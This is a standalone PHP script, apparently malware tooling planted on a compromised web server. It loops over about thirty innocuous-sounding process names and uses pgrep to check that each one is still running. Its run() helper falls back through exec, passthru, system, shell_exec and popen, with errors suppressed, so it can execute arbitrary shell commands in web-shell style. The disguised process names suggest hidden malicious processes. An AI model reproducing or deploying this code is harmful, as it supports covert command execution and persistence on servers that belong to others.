<?php   $files = ['xmlrpcapi','action.rss','setup_info_class','formatting','function.edit','blocksadmin','mysql.dbi.lib','pendingSeminar','tipo_menu_upload','ignitegallery','reviewcom','agendaplace23','config_path','install_mod','Dateformat','class.reminder','phpbb2018.inc','add_data2','k2comment','modifier.replace','tcp.class','class.categorie','route_notes','prova_java_php','testcourselib','abt_course','tbl_rename','danish.lng','modtemplates.inc','theme_blog']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }